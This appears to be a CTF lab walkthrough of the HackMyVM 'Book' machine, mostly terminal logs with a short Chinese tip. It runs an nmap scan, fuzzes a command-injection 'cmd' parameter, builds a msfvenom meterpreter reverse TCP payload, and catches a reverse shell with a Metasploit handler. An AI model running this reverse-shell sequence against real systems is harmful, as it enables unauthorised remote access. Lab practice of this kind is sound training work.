┌──(kali㉿kali)-[~/HMV/book] └─$ sudo nmap -p- 192.168.43.12 Starting Nmap 7.95 ( https://nmap.org ) at 2025-08-15 15:36 CST Nmap scan report for Book (192.168.43.12) Host is up (0.0015s latency). Not shown: 65531 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 443/tcp open https MAC Address: C6:08:CB:68:1C:66 (Unknown)
Nmap done: 1 IP address (1 host up) scanned in 1.33 seconds
┌──(kali㉿kali)-[~/HMV/book] └─$ wfuzz -u 'http://192.168.43.12/?FUZZ=id' -w /usr/share/wordlists/fuzzDicts/paramDict/AllParam.txt --hh 54850 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 3.1.0 - The Web Fuzzer * ******************************************************** Target: http://192.168.43.12/?FUZZ=id Total requests: 74332 ===================================================================== ID Response Lines Word Chars Payload ===================================================================== 000002798: 200 358 L 4242 W 54903 Ch "cmd"
┌──(kali㉿kali)-[~/HMV/book] └─$ msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=192.168.43.68 LPORT=4444 -f elf -o payload [-] No platform was selected, choosing Msf::Module::Platform::Linux from the payload [-] No arch selected, selecting arch: x64 from the payload No encoder specified, outputting raw payload Payload size: 1068952 bytes Final size of elf file: 1068952 bytes Saved as: payload
┌──(kali㉿kali)-[~/HMV/book] └─$ file payload payload: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), static-pie linked, with debug_info, not stripped
Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port
Exploit target:
Id Name -- ---- 0 Wildcard Target
View the full module info with the info, or info -d command.
msf6 exploit(multi/handler) > set LHOST 192.168.43.68 LHOST => 192.168.43.68 msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.43.68:4444
记得一定要设置一下 payload 为刚才我们用 msfvenom 生成的木马的 payload,因为默认的 payload 为 generic/shell_reverse_tcp ,如果不设置,反弹 shell 的时候会显示 Command shell session 9 is not valid and will be closed ,shell 就弹不回来。
msf6 exploit(multi/handler) > run [*] Started reverse TCP handler on 192.168.43.68:4444 [*] Meterpreter session 1 opened (192.168.43.68:4444 -> 192.168.43.12:56318) at 2025-08-15 16:25:24 +0800
-h Help banner. -i Index of the port forward entry to interact with (see the "list"command). -l Forward: local port to listen on. Reverse: local port to connect to. -L Forward: local host to listen on (optional). Reverse: local host to connect to. -p Forward: remote port to connect to. Reverse: remote port to listen on. -r Forward: remote host to connect to. -R Indicates a reverse port forward.